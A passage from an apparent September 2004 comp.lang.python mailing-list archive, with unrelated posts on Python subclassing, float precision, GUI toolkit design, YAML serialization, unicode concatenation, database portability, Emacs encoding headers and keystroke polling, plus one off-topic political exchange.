<ci1u2g$n00@odah37.prod.google.com> Message-ID: <1gk116d.12ra6nv1vlcxcxN%aleaxit@yahoo.com> Alexander Stante <alex_stante at yahoo.de> wrote: > I have the following problem. I want to subclass from the pygame class > Surface, but I can't get it working: > > class sprite(Surface): > def __init__(self, image_array, palette): > "some code here" > > when I want to create a instance with: > > gfx.sprite(arrayi, palette) > > > I get the following error message: > TypeError: argument 1 must be sequence of length 2, not 100 > > It seems that the constructor of Surface is not overrided by the one in > sprite, but why? It's possible (I'm just guessing) that the problem comes with respect to __new__ rather than __init__ ...? Alex From aleaxit at yahoo.com Mon Sep 20 07:57:42 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Mon, 20 Sep 2004 13:57:42 +0200 Subject: Math errors in python References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com> <pan.2004.09.19.13.27.17.613143@jerf.org> <Ooa3d.318$Pz3.245@trndny01> <200409190039.23955.gherron@islandtraining.com> <mailman.3504.1095595671.5135.python-list@python.org> <1gkdkgj.12f5pjs6acjl1N%aleaxit@yahoo.com> <mailman.3546.1095671268.5135.python-list@python.org> Message-ID: <1gkezel.1dw7ujb1un4jjbN%aleaxit@yahoo.com> Heiko Wundram <heikowu at ceosg.de> wrote: > Am Sonntag, 19. September 2004 19:41 schrieb Alex Martelli: > > gmpy (or to be more precise the underlying GMP library) runs optimally > > on AMD Athlon 32-bit processors, which happen to be dirt cheap these > > days, so a cleverly-purchased 300-dollars desktop Linux PC using such an > > Athlon chip would no doubt let you use way more than these humble couple > > thousand bits for such interactive computations while maintaining a > > perfectly acceptable interactive response time. > > But still, no algorithm implemented in software will ever beat the > FADD/FMUL/FDIV/FPOW/FSIN/FCOS etc. instructions in runtime, that was my Yep, the hardware would have to be designed in a very lousy way for its instructions to run slower than software running on the same CPU;-). If you're not using some "vectorized" package such as Numeric or numarray, though, it's unlikely that you care about speed -- and if you _are_ using Numeric or numarray, it doesn't matter to you what type Python itself uses for some literal such as 3.17292 -- it only matters (speedwise) what your computational package is using (single precision, double precision, whatever). > point... And error calculation is always possible, so that you can give > bounds to your result, even when using normal floating point arithmetic. And, Sure! Your problems come when the bounds you compute are not good enough for your purposes (given how deucedly loose error-interval computations tend to be, that's going to happen more often than actual accuracy loss in your computations... try an interval-arithmetic package some day, to see what I mean...). > even when using GMPy, you have to know about the underlying limitations of > binary floating point so that you can reorganize your code if need be to add > precision (because one calculation might be much less precise if done in some > way than in another). Sure. Throwing more precision at a badly analyzed and structured algorithm is putting a band-aid on a wound. I _have_ taught numeric analysis to undergrads and nobody could have passed my course unless they had learned to quote that "party line" back at me, obviously. In the real world, the band-aid stops the blood loss often enough that few practising engineers and scientists are seriously motivated to remember and apply all they've learned in their numeric analysis courses (assuming they HAVE taken some: believe it or not, it IS quite possible to get a degree in engineering, physics, etc, in most places, without even getting ONE course in numeric analysis! the university where I taught was an exception only for _some_ of the degrees they granted -- you couldn't graduate in _materials_ engineering without that course, for example, but you COULD graduate in _buildings_ engineering while bypassing it...). Yes, this IS a problem. But I don't know what to do about it -- after all, I _am_ quite prone to taking such shortcuts myself... if some computation is giving me results that smell wrong, I just do it over with 10 or 100 times more bits... yeah, I _do_ know that will only work 99.99% of the time, leaving a serious problem, possibly hidden and unsuspected, more often than one can be comfortable with. In my case, I have excuses -- I'm more likely to have fallen into some subtle trap of _statistics_, making my precise computations pretty meaningless anyway, than to be doing perfectly correct statistics in numerically smelly ways (hey, I _have_ been brought up, as an example of falling into traps, in "American Statistician", but not yet, AFAIK, in any journal dealing with numerical analysis...:-). Alex From hans at zephyrfalcon.org Wed Sep 22 13:35:00 2004 From: hans at zephyrfalcon.org (Hans Nowak) Date: Wed, 22 Sep 2004 13:35:00 -0400 Subject: up with PyGUI! In-Reply-To: <4lf4d.15151$pA.1180511@news20.bellglobal.com> References: <mailman.3318.1095180577.5135.python-list@python.org> <414783DD.4070509@zephyrfalcon.org> <4lf4d.15151$pA.1180511@news20.bellglobal.com> Message-ID: <4151B7C4.6070003@zephyrfalcon.org> Nicolas Fleury wrote: > Hans Nowak wrote: > >> Zooko O'Whielacronx wrote: >> >>> I'm a fan of Greg Ewing's PyGUI [1]. I used it to code a simple game >>> for my son [2], and enjoyed it. Programming with wxPython feels like >>> programming with a C++ tool that has been wrapped in Python. >> >> This problem is addressed by Wax: > > > I think it doesn't go far enough. Wouldn't it better to hide the > concept of wxPython ownership by now passing the parent in the > constructor, but instead create the wxPython widget when it is finally > added to its parent? I'm not sure what you mean. One known issue is, that there is some redundancy when creating a control and adding it to its parent: b = Button(parent, ...) parent.AddComponent(b, ...) I am thinking of ways to make this simpler. One possible solution would be to accept a 'layout' parameter: b = Button(parent, ..., layout={'expand': 'both', 'border': 2}) ...but I'm not sure that actually makes things simpler or more readable. It's also possible to do something like this: parent.Add(some_control, parameters_for_control, parameters_for_layout) I think this is rather ugly, and I don't like the mixing of control constructor parameters and layout parameters. Aside from that, it's sometimes useful or necessary to use the control before it's added to the parent. Consider: from wax import * class MainFrame(Frame): def Body(self): b1 = Button(self, text="b1") b1.Size = (40, 40) self.AddComponent(b1) b2 = Button(self, text="b2") self.AddComponent(b2) b2.Size = (40, 40) self.Pack() app = Application(MainFrame) app.Run() > It could also be a good idea to take the occasion > to respect PEP8. Which recommendations of the style guide does the Wax code violate? > Note also that "import wax" would be better than "from > wax import *". I'm considering it. This way, it would also be possible to import things on demand. On the other hand, I don't like to write 'wax.' before everything. -- Hans Nowak (hans at zephyrfalcon.org) http://zephyrfalcon.org/ From steven.bethard at gmail.com Wed Sep 8 20:44:08 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Thu, 9 Sep 2004 00:44:08 +0000 (UTC) Subject: itoa (WAS: Re: %a format) References: <mailman.2992.1094581774.5135.python-list@python.org> <usm9tx5n3.fsf@broadpark.no> <10jsqrm2rsqdc39@news.supernews.com> <ad052e5c.0409081611.361c5a01@posting.google.com> <loom.20040909T023510-231@post.gmane.org> Message-ID: <loom.20040909T024328-245@post.gmane.org> I wrote: > >>> def itoa(i, base): > ... return str(int(str(i), base)) > ... Oops. My bad. You wanted the inverse. Just ignore me. ;) From secun at yahoo.com Tue Sep 14 15:10:40 2004 From: secun at yahoo.com (ChrisH) Date: Tue, 14 Sep 2004 19:10:40 GMT Subject: Communication between remote scripts References: <MPG.1bb0b7d621a77bc598968c@news2.atlantic.net> <MPG.1bb0babc8d7d2dfa98968d@news2.atlantic.net> <41471f73$0$10528$e4fe514c@news.xs4all.nl> Message-ID: <MPG.1bb10c5b51102cd598968e@news2.atlantic.net> Thanks for the info. I've actually been looking at Pyro as a possible solution. In some ways however, it seems a lot more powerful than what I need for this project. Could you give a simple example of how a two programs can "talk" to one another? I don't think I really need RPCs in this case. In article <41471f73$0$10528$e4fe514c at news.xs4all.nl>, irmen at -NOSPAM- REMOVETHIS-xs4all.nl says... > ChrisH wrote: > > Am I correct in saying that remote objects are not really needed for > > this? > [...] > >>I would like to create a second program on a remote Windows computer > >>that receives an update from program A periodically (maybe every 10 > >>minutes or so), and tells it everything is running without a problem. > >> > >>Can anyone recommend a good (and preferably simple) way for two programs > >>to communicate on a network? > > Perhaps remote objects are a bit overkill for your specific problem. > But then again, Pyro for instance (pyro.sf.net) essentially removes > the need for any network code in your app, and takes care of various > other nasty things that happen at the network level. > So unless you choose to use Pyro or some other high level API, > you will have to deal with all this yourself-- and that may be > more work than you think... > > --Irmen > >> > From rogerb at rogerbinns.com Tue Sep 7 01:31:53 2004 From: rogerb at rogerbinns.com (Roger Binns) Date: Mon, 6 Sep 2004 22:31:53 -0700 Subject: Anyone know anything named DX? (was Re: Announcing PyCs) (was: Announcing PyCs, a new Python-like language on .Net) References: <20040901221925.2128958333.EP@zomething.com> <mailman.2945.1094509287.5135.python-list@python.org> <pan.2004.09.06.21.29.05.273319@jerf.org> Message-ID: <1stv02-qlp.ln1@home.rogerbinns.com> Jeremy Bowers wrote: > The "great" names are long gone. Here is my (unpatented) technique: Use APG online to generate pronounceable words (they are intended to be passwords but who cares). You need to turn off symbols and digits. Here is one site: http://maurizio.giampy.it/apg/ Set the length range to whatever takes your fancy. Read through the list and do a Google search for any that look good. Wonder how on earth so many of them have matches. Rinse and repeat until you find one with no matches. It was how I came up with Entrocul and BitPim :-) I did actually send an email to Google labs suggesting they come up with an "naming" tool where you could suggest what style of name you wanted (eg scientific, Italian, computery) and it would generate random strings of that form with no entries in the index. They never responded. Roger From alanmk at hotmail.com Sat Sep 25 10:52:31 2004 From: alanmk at hotmail.com (Alan Kennedy) Date: Sat, 25 Sep 2004 15:52:31 +0100 Subject: [OT] "Pre-announcement" of Python-based "computing appliance" project. In-Reply-To: <6799l0pal6hmm3ssnvfi6fb8ki6j5o94na@4ax.com> References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com> <89adnWTWC6JVscncRVn-uw@giganews.com> <enp8l09sql1ikh98s530erp5b79hfpf14o@4ax.com> <du7d60bbhah.fsf@amadeus.cc.tut.fi> <10l90qcihqrjba1@corp.supernews.com> <6799l0pal6hmm3ssnvfi6fb8ki6j5o94na@4ax.com> Message-ID: <%wf5d.32000$Z14.10664@news.indigo.ie> [Richard Hanson] > It is > possible that in the higher-dimensioned theories, quantum mechanics > will turn out to be deterministic. That's an attention-grabbing statement! [Richard Hanson] > Or, at least that's what I'm quite > foggily gathering from hanging out on sci.physics.research and other > suchlike readings. :-) I'd be most grateful for some links to further reading, ideally giving an overview/summary, if you know of such. thanks, -- alan kennedy ------------------------------------------------------ email alan: http://xhaus.com/contact/alan From onurb at xiludom.gro Mon Sep 20 18:40:52 2004 From: onurb at xiludom.gro (bruno modulix) Date: Tue, 21 Sep 2004 00:40:52 +0200 Subject: python is going to die! =( In-Reply-To: <mailman.3548.1095673404.5135.python-list@python.org> References: <mailman.3520.1095631846.5135.python-list@python.org> <mailman.3524.1095636290.5135.python-list@python.org> <du7fz5dqo2e.fsf@amadeus.cc.tut.fi> <mailman.3548.1095673404.5135.python-list@python.org> Message-ID: <414f5e18$0$20462$626a14ce@news.free.fr> Heiko Wundram a ?crit : > Am Montag, 20. September 2004 11:36 schrieb Ville Vainio: > >>I don't really believe in extrapolating too much from the textual >>characteristics of your post, but I think you'd do much better by >>picking a statically typed language like C# for your proyects. > > > LOLOL! > > +1 for comment of the week... > <AOL> From brenbarn at brenbarn.net Sat Sep 25 01:12:46 2004 From: brenbarn at brenbarn.net (Brendan Barnwell) Date: Fri, 24 Sep 2004 22:12:46 -0700 (Pacific Standard Time) Subject: up with PyGUI! In-Reply-To: <864d3709040924070873d4708f@mail.gmail.com> References: <mailman.3318.1095180577.5135.python-list@python.org><414783DD.4070509@zephyrfalcon.org><4lf4d.15151$pA.1180511@news20.bellglobal.com><4151B7C4.6070003@zephyrfalcon.org> <2rfnp6F19gkpkU1@uni-berlin.de><Xns956D93ADD811BOKB@130.133.1.4> <864d3709040924070873d4708f@mail.gmail.com> Message-ID: <Mahogany-0.66.0-960-20040924-221246.00@OKB.mshome.net> On Fri, 24 Sep 2004 11:08:22 -0300 Carlos Ribeiro <carribeiro at gmail.com> wrote: > I think I have solved the first half of your problem. Please check my > "Call for suggestions" post from yesterday. I implemented a Container > metaclass that can take nested class declarations and generate a > representation with a few important features: > > -- it's ordered (in the same order as the original declarations in the > source code) > -- all nested classes are converted to instances My implementation essentially does this as well. However, I have devised a metaclass (called ClassObj) that does not actually replace the class with an instance. Instead, each class keeps a reference to singleton instance. All attributes are stored on the class object, but methods are forwarded to the instance (since Python won't allow you to call methods on a class). The advantage of this is that the classes can even be subclassed. This metaclass largely eliminates the distinction between classes and objects; a ClassObj can effectively function as either. > Please check it, and let me know if you're interested. I'm focusing my > work on this part now, I'm purposefully not dealing with the GUI; I > have my own ideas regarding the GUI part, but let us solve one problem > at a time, right? <snip> > It seems like we're looking for similar solutions. I'm looking for > more people to start a separate discussion to avoid spamming c.l.py. > Please drop me a note if you're interested. I'm definitely interested. I have put my work-in-progress code up if you want to look at it. It is at http://www.brenbarn.net/misc/gui/ (You may have to change the import statements in the files slightly; I haven't bothered to make sure the directory structure there is the same as on my local system.) This is obviously incomplete, but it gives an idea of the kind of thing I am doing. Let me know what you think! -- --Brendan Barnwell "Do not follow where the path may lead. Go, instead, where there is no path, and leave a trail." --author unknown From ville at spammers.com Wed Sep 1 03:18:35 2004 From: ville at spammers.com (Ville Vainio) Date: 01 Sep 2004 10:18:35 +0300 Subject: Rejecting the J2 decorators proposal References: <mailman.2708.1094014769.5135.python-list@python.org> Message-ID: <du7r7pmfodw.fsf@mozart.cc.tut.fi> >>>>> "Guido" == Guido van Rossum <gvanrossum at gmail.com> writes: Guido> everything remains as currently in CVS. For 2.4b1, I will Guido> consider a change of @ to some other single character, even Great - I bet many of those who preferred & endorsed J2 over @pie did so because of the @ character (well, I did at least). Guido> audience (like 3rd party library packages). Using Guido> decorators for type annotations in particular looks Guido> tedious, and this particular application is so important Guido> that I expect Python 3000 will have optional type Guido> declarations integrated into the argument list. Looking forward to be able to vote on the syntax for those ;-). -- Ville Vainio http://tinyurl.com/2prnb From cce at clarkevans.com Mon Sep 20 17:01:12 2004 From: cce at clarkevans.com (Clark C. Evans) Date: Mon, 20 Sep 2004 17:01:12 -0400 Subject: PyYaml? In-Reply-To: <uy8j6pdpp.fsf@yahoo.co.uk> References: <2IO2d.1086$HH5.1025@trndny05> <87r7oyfy78.fsf@blakie.riol> <l3c3d.1327$HH5.1125@trndny05> <uy8j6pdpp.fsf@yahoo.co.uk> Message-ID: <20040920210112.GA98880@prometheusresearch.com> On Sun, Sep 19, 2004 at 02:53:22PM +0100, Paul Moore wrote: | It seems to claim to be different things at different times - a | serialization format, a config file format, a replacement for XML At conception, I wanted a text format for invoices and other transactional business documents that was: (a) very human readable, (b) loaded into native data structures without requiring a DOM or a bunch of parser-hand-holding, (c) had a simple enough information model that a schema and transformation language would not be a serious exercise in topology. Brian Ingerson, one of the other co-authors was working on something similar to Pickle for Perl. | At the time, I was looking for a config format, and it wasn't | *quite* what I wanted, because some of the serialization and XML | aspects made it slightly clumsy as a config format. That some people use it for configuration files is due to Brian's influence on the more-than-one-way-to-write-it. Also, our earlier goals of a cross-language serialization tool got in the way of making it a great configuration file language. We've since had to make some compromises in this regard. Two other good uses for YAML include log files and tests suites. Neither of which were the initial focus, but alas, some things get a life of their own. | I suspect that people who want to use YAML for serialization, | or as an XML replacement, may feel the same way. And yet, I don't get | the feeling that YAML is being developed as a "compromise" format, so | I am obviously missing a key design principle. I work with business documents all the time; especially ones that move between computer systems using different programming languages. So, this was my primary goal; we advertise YAML as a serialization language since this is the 'easiest category' to put ourselves in. | As regards the existing YAML libraries for Python, when I looked I | found that the PyYAML website claimed that it was out of date with | respect to the latest spec. I also tried SYCK, which looks OK, but | which I did manage to provoke a crash from without trying too hard. Er ya. Don't do "syck.parse", I need to remove that function from the public interface. The newest release of Syck is far more stable so you may want to try it again. | None of this is a criticism of YAML and/or its libraries themselves. | However, it does make any suggestion that YAML be used to replace a | key part of the Python standard library seem a little premature, at | least. Definitely. YAML has at least two more years of work before it'd be ready for even proposing that it be considered as a core library. | I just re-read some of the YAML website. It appears clear from there | that YAML is designed as a serialization format. But there seems to | be a lack of justification as to *why* the design goals (section 1.1 | of the spec) are important. Also, security is *not* an explicit goal, | and section 3.1.6 (the "Construct" process) is completely lacking in | any discussion of the security or other implications of converting a | YAML file to a native language object. This seems somewhat surprising | in a specification for a serialization format... *nods* I hope the discussion above helps. I doubt that YAML would ever be a good 'drop-in' replacement for pickle. If in the far-distant future someone were to propose using YAML in this way, it'd probably be one of N 'formats' for a more pluggable pickle module. | More portable - hmm, OK. I'm not sure where you want portability | *between*, though. Pickle is, as far as I know, portable across | platforms. Are you talking about portability between languages? I | can't think where I'd want to dump a Python object for loading into | Perl or Ruby, though. Can you offer me some real-life use cases? Certainly. I work with several programmers in different shops, we move transactional documents around, traditionally with XML, but more so with YAML. By next year this time I hope it is all YAML. If you are just using hash/list/scalar data types (90% of our use cases) then YAML is a great option. In fact, recently we had a customer start using the Perl version of YAML with our system and it worked. | More readable - I'll give you this. And yes, it can be useful. I've | been stuffed before now with Java programs whose configuration is | stored as a serialized-to-disk object which is completely opaque to | external tools, let alone human readers. But this is a property that | is useful only in case of failure (if the config gets stuffed, I can | hand-hack the dump file, or if I forget what I set parameter X to, I | can look in the dump). If the application design *requires* the dump | format to be readable, we've moved away from serialization, and | started to talk about configuration formats (which is a separate | issue, one in which it is quite possible that YAML is strong, but | *not* one in which it is competing with Pickle). Exactly. The older PyYaml made configuration files painful, as it was trying to implicitly type all kinda of data (recognizing floating points, dates, etc.). We found this behavior to be a bit counter-productive for config files, and hence this "implicit typing" is now strictly optional, application directed behavior. Best, Clark From fahd.khan at gmail.com Sat Sep 11 02:04:51 2004 From: fahd.khan at gmail.com (Fahd Khan) Date: 10 Sep 2004 23:04:51 -0700 Subject: possible unicode bug in implicit string concatenation? Message-ID: <5f4ca392.0409102204.34d2a4e9@posting.google.com> Hi team! While troubleshooting a crash I had while using BitTorrent where the torrent's target file names didn't fall into the ascii range I was playing around in the interpreter and noticed this behaviour: >>> u'\u12345' + 'foo' u'\u12345foo' >>> u'\u12345' u'foo' u'\u12345foo' >>> u'\u12345' + u'foo'.encode('ascii') u'\u12345foo' >>> u'\u12345' u'foo'.encode('ascii') Traceback (most recent call last): File "<interactive input>", line 1, in ? UnicodeEncodeError: 'ascii' codec can't encode character u'\u1234' in position 0: ordinal not in range(128) >>> Is this a bug, or is my understanding of how Python works flawed? I tried tracing it within the interpreter itself bug got lost after a little while... I'm familiar with the interpreter loop, but not the parser, and I suspect this is something to do with implicit string concatenation being parsed differently from the explicit version, i.e. the explicit version uses the + operator slot, while the implicit version does something else. Any ideas? Fahd Khan ICON | Clinical Research W: 281-295-4834 From aleaxit at yahoo.com Sat Sep 25 13:47:23 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sat, 25 Sep 2004 19:47:23 +0200 Subject: Python and Sybase References: <wVE4d.53$26.20@llslave.llan.ll.mit.edu> <mailman.3815.1095972439.5135.python-list@python.org> <1gkn9go.1d3dgwh4edmdrN%aleaxit@yahoo.com> <87hdpma6gl.fsf@pobox.com> Message-ID: <1gkooub.1vi8jhkmfipvjN%aleaxit@yahoo.com> John J. Lee <jjl at pobox.com> wrote: ... > > ...except that you may need to use different placeholders in SQL strings > > for parameters to insert (sigh)... > > ...and there are of course variations in SQL from DBMS to DBMS... Yeah, _those_ I'm resigned to. No language can paper over them. But a language shouldn't ADD difficulties such as placeholder differences. > IIRC, Steve Holden suggests in his book [1] the use of > internationalization (i18n) tools (eg. gettext) to make DB API code > portable. Seems unfortunately apt. > > [1] "Python Web Programming", New Riders (2002) Superb book, though unfortunately dated "pythonwise". I was a technical reviewer for it and loved the experience -- and when I wanted to give Anna, at the time my long-lost and recently-reconnected friend, a birthday gift consonant to her nascent interest in Python, that's the book I had Amazon deliver to her door. Since she's now my wife, and a Python enthusiast, it seems to have worked. It's particularly great in terms of the lightweight but useful coverage it gives on so many things, from E/R design to HTTP and other protocols. But on that one detail I beg to differ from my good friend Steve. Dropping down to string-substitution is not really the best way to solve SQL discrepancies among RDBMS's. Unfortunately, what I developed for the purpose was a "work for hire", and to this day remains proprietary to the firm I developed it for (think3 inc, if you must know) -- when I resigned, one part of our verbal agreements was that they'd opensource certain parts of their SW (mostly infrastructure aspects I had developed) and I'd freely take them over and maintain them on sourceforge or the like... they never followed through and I got tired of pressuring them. Next time I should need that kind of thing from an employer or client, I'm gonna get it in writing:-). Anyway, the solution was born back in the day where we had to add Informix to Ingres (or was it vice versa?) in the set of RDBMSs supported by our ancillary applications (main applications were in the CAD field for mechanical engineering, but RDBMS access was needed by helper applications doing Bills of Materials and the like). Rather than kludging it up as I was requested to do, I veered off on my own and made up a more general solution -- part of my motivation was that I owned a license of Watcom SQL and wanted to be able to develop at home using that, even though supporting it was of no interest to the firm. To make a long story short, it worked -- it basically reimplemented the original Relational model, quite independent of SQL _as a language_, and generated SQL on the fly (well, not quite on-the-fly, it was done offline) in the required dialect. I remember later ports to such 'alien' RDBMSs as Oracle, Jet (aka [incorrectly] 'Access'), and SQL Server, taking 1/4 the time management reasonably expected them to (that's how I got to goof off on Usenet for 2/4ths of that time, and still deliver in 3/4 of the time and look good;-). But it's all captive, closed-source, proprietary stuff now. Sigh.... Alex From mh at dreadnok.pixar.com Mon Sep 13 13:42:54 2004 From: mh at dreadnok.pixar.com (Mark Harrison) Date: Mon, 13 Sep 2004 17:42:54 GMT Subject: getting errno from OSError exception? Message-ID: <y_k1d.15062$QJ3.4956@newssvr21.news.prodigy.com> Can somebody loan me a clue as to how to check the errno on an OSError, as described below? try: os.makedirs(d) except OSError: # if errno == 17 then silently ignore the error because the # other process won the race condition and created the directory # otherwise, allow the exception to percolate up the call stack # and be caught by the standard error reporter Many TIA! Mark -- Mark Harrison Pixar Animation Studios From ksenia at ksenia.nl Thu Sep 2 06:40:35 2004 From: ksenia at ksenia.nl (Ksenia Marasanova) Date: Thu, 2 Sep 2004 13:40:35 +0300 Subject: __doc__ of current function? In-Reply-To: <62e3db01.0409012325.4d42bb45@posting.google.com> References: <62e3db01.0409012325.4d42bb45@posting.google.com> Message-ID: <8577E929-FCCC-11D8-B198-000A957911BC@ksenia.nl> > > ... can I write a general docOfCurrentFunction() function so that I > can rewrite it: > > def validatePassword(p): > 'do something' > print docOfCurrentFunction() > def docOfCurrentFunction(): import sys func_name = sys._getframe(1).f_code.co_name return eval(func_name + '.__doc__') But I hope that a more intelligent way exists than using 'eval' :) Ksenia. From aleaxit at yahoo.com Wed Sep 29 02:48:27 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 29 Sep 2004 08:48:27 +0200 Subject: re-entering in the normal flow after an exception is raised References: <4edc17eb.0409280817.27ef4f43@posting.google.com> <1gkucfb.1kl4cxm1yw6dq2N%aleaxit@yahoo.com> <0oso22-9k7.ln1@valpo.de> Message-ID: <1gkv9io.1plr0n318qkpkjN%aleaxit@yahoo.com> Mathias Waack <M.Waack at gmx.de> wrote: > Alex Martelli wrote: > > If something is too complicated for C++, I would assume it's WAY > > too > > complicated for Python. > > It's too complicated for C++ to handle lists containing arbitrary > types, declaring functions working on arbitrary types, creating > classes at runtime... Runtime creation, yes (due to C++'s choice to work with existing system tools, chiefly the linker, and limit the language so as to make it reasonably easy to implement on top of existing linkers) -- the other stuff, minus the runtime part, is easily handled by templates, of course, so it's _not_ "too complicated for C++". If you relax the constraint on linker limitations (like just about all existing C++ implementations do), then creating and dynamically loading dynamic libraries allows the do-it-at-runtime part just as well. Resumable exceptions are a completely different issue from "what capabilities can I assume in the existing system tools that I want to be able to collaborate with". Alex From http Sun Sep 12 22:43:51 2004 From: http (Paul Rubin) Date: 12 Sep 2004 19:43:51 -0700 Subject: MD5 and SHA cracked/broken... References: <slrnck6boc.l77.mlh@furu.idi.ntnu.no> <7xacvwn01v.fsf@ruckus.brouhaha.com> <slrncka1ar.2a1q.kirk@eyegor.jobsluder.net> Message-ID: <7xekl6yjko.fsf@ruckus.brouhaha.com> Kirk Job-Sluder <kirk at eyegor.jobsluder.net> writes: > SHA-1, SHA-256, SHA-384, and SHA-512 are all in the same family so a > fundamental break in SHA-1 should make the other three more vulnerable > as well. SHA-256 is in the "same family" as SHA-1 only in the same sense that SHA-1 is in the same family as SHA-0. You really can't conclude anything like what you're saying. From albalmer at att.net Fri Sep 10 14:44:33 2004 From: albalmer at att.net (Alan Balmer) Date: Fri, 10 Sep 2004 11:44:33 -0700 Subject: Xah Lee's Unixism References: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <4140688e$0$6912$61fed72c@news.rcn.com> <flrphc.tlk1.ln@via.reistad.priv.no> <4140A885.90B945AC@yahoo.com> <4jkqhc.p7p1.ln@via.reistad.priv.no> <1oh3k01cieht04nmfo27pvihg8teme0mdt@4ax.com> <Zdm0d.88398$S55.30393@clgrps12> Message-ID: <1et3k0d5omt9uic9dbbal361009eoedgmo@4ax.com> On Fri, 10 Sep 2004 18:18:33 GMT, "Coby Beck" <cbeck at mercury.bc.ca> wrote: > >"Alan Balmer" <albalmer at att.net> wrote in message >news:1oh3k01cieht04nmfo27pvihg8teme0mdt at 4ax.com... >> On Fri, 10 Sep 2004 00:13:56 +0200, Morten Reistad >> <firstname at lastname.pr1v.n0> wrote: >> >> >>However Bush is demonstrably poor. He ignored the warnings from >> >>the CIA, FBI, outgoing Clinton administration about imminent >> >>attacks. He was focused on attacking Saddam and Iraq from the >> >>first, and perverted 9/11 into that at the earliest opportunity. >> >>He has offended many more than most of his predecessors. I will >> >>say that he seems to have learned the names of some foreign >> >>leaders since being elected. >> > >> >Bush has had an agenda all right; but I don't quite get what it is. >> > >> And, of course, entertaining the possibility that his agenda is just >> what he says it is, is completely out of the question. > >Not out of the question, be obviously untrue. > >"We must invade Iraq to remove the threat of a madman with WMD" >--> Inspectors were inside Iraq looking already. >--> N. Korea was boasting about its nuclear program and firing > test missles all over the place. >--> Not a stick of said WMD has been found since invading. > >"We must save the Iraqi people from a ruthless dictator" >--> since Hussein is just one of scores of such monsters and Iraq > was the country chosen, this can not be the reason. > >"We must fight terrorism" >--> The hunt for Osama, known to be NOT IN Iraq was practically dropped > to invade Iraq. >--> Everyone outside of the Fox news network knows there was never any > link from Iraq to Osama. >--> Terrorism is now a big problem in Iraq where it was not before. > > My, you are behind the times. Sorry, I'm not going to rehash all this stuff now. It's been done too many times. Check the archives. -- Al Balmer Balmer Consulting removebalmerconsultingthis at att.net From cookedm+news at physics.mcmaster.ca Fri Sep 3 12:59:27 2004 From: cookedm+news at physics.mcmaster.ca (David M. Cooke) Date: Fri, 03 Sep 2004 12:59:27 -0400 Subject: Combining mode and encoding in emacs References: <slrncjh719.bs2.mlh@furu.idi.ntnu.no> Message-ID: <qnkvfevqoeo.fsf@arbutus.physics.mcmaster.ca> At some point, mlh at furu.idi.ntnu.no (Magnus Lie Hetland) wrote: > If I want to specify both mode and source encoding using the > > -*- FOO -*- > > syntax in emacs -- how can I do that? Both insist on being on the > second line of the file, yet I have found no way of combining them. > That is, the following doesn't work properly (not in all emaxen, at > least): > > #!/usr/bin/env python > # -*- encoding: iso-8859-1 -*- > # -*- python -*- > > If I switch the two, Python doesn't get the encoding. (I need to > specify the mode, because the file has a '.cgi' ending.) #!/usr/bin/env python # -*- mode: python; encoding: iso-8859-1 -*- This works for me in GNU emacs 21.3. -- |>|\/|< /--------------------------------------------------------------------------\ |David M. Cooke |cookedm(at)physics(dot)mcmaster(dot)ca From bokr at oz.net Mon Sep 20 01:42:10 2004 From: bokr at oz.net (Bengt Richter) Date: 20 Sep 2004 05:42:10 GMT Subject: Math errors in python References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com> <mailman.3490.1095579571.5135.python-list@python.org> <70b3d.1822$uz1.747@trndny03> <mailman.3494.1095586574.5135.python-list@python.org> <ad052e5c.0409191424.2aab5bb4@posting.google.com> <m2vfe94olk.fsf@mycroft.actrix.gen.nz> Message-ID: <cilqji$nv8$0$216.39.172.122@theriver.com> On Mon, 20 Sep 2004 15:16:07 +1200, Paul Foley <see at below.invalid> wrote: >On 19 Sep 2004 15:24:31 -0700, Dan Bishop wrote: > >> There are, of course, reasonably accurate rational approximations of >> pi. For example, 355/113 (accurate to 6 decimal places), 312689/99532 >> (9 decimal places), or 3126535/995207 (11 decimal places). Also, the >> IEEE 754 double-precision representation of pi is equal to the >> rational number 4503599627370496/281474976710656. > >I hope not! That's equal to 16. (The double float closest to) pi is >884279719003555/281474976710656 > Amazingly, that is _exactly_ equal to math.pi >>> from ut.exactdec import ED >>> import math >>> ED('884279719003555/281474976710656') ED('3.141592653589793115997963468544185161590576171875') >>> ED(math.pi,'all') ED('3.141592653589793115997963468544185161590576171875') >>> ED('884279719003555/281474976710656') == ED(math.pi,'all') True >>> ED('884279719003555/281474976710656').astuple() (3141592653589793115997963468544185161590576171875L, 1L, -48) >>> ED(math.pi,'all').astuple() (3141592653589793115997963468544185161590576171875L, 1L, -48) So it's also equal to the rational number 3141592653589793115997963468544185161590576171875 / 10**48 >>> ED('3141592653589793115997963468544185161590576171875' ... '/1000000000000000000000000000000000000000000000000') ED('3.141592653589793115997963468544185161590576171875') or >>> ED('3141592653589793115997963468544185161590576171875') / ED(10**48) ED('3.141592653589793115997963468544185161590576171875') Regards, Bengt Richter From skip at pobox.com Fri Sep 10 10:14:59 2004 From: skip at pobox.com (Skip Montanaro) Date: Fri, 10 Sep 2004 09:14:59 -0500 Subject: RSS generation In-Reply-To: <uotsrpxlz5rs$.dlg@morateknikutveckling.se> References: <e9ece60a.0409100210.29557d17@posting.google.com> <uotsrpxlz5rs$.dlg@morateknikutveckling.se> Message-ID: <16705.46819.221021.825366@montanaro.dyndns.org> >> I'm looking for a python module which can help generate RSS feeds >> in various formats - 0.92, 1.0, 2.0, atom etc... Anders> Some info here: Anders> http://www-106.ibm.com/developerworks/webservices/library/ws-pyth11.html That's for parsing RSS, not generating it. While RSS isn't that hard to generate, it would still be kinda nice to have a generator that knew about all the variations on the theme. Skip From ThisIsNotMyReal at ddress.com Wed Sep 22 10:37:56 2004 From: ThisIsNotMyReal at ddress.com (Brian) Date: Wed, 22 Sep 2004 14:37:56 GMT Subject: Check for keystroke Message-ID: <Xns956C6558D1D9Anonenonecom@24.93.43.121> Inside a loop, I need to passively check to see if a key is pressed or not without pausing like raw_input does. Some pseudocode: While true: If a key is pressed which key is pressed do other stuff inside loop Google groups turned up this thread: http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&safe=off&th= 3221aa1ee6ef2ec2&seekm=2259b0e2.0307310800.3310ec83% 40posting.google.com&frame=off TinyURL: 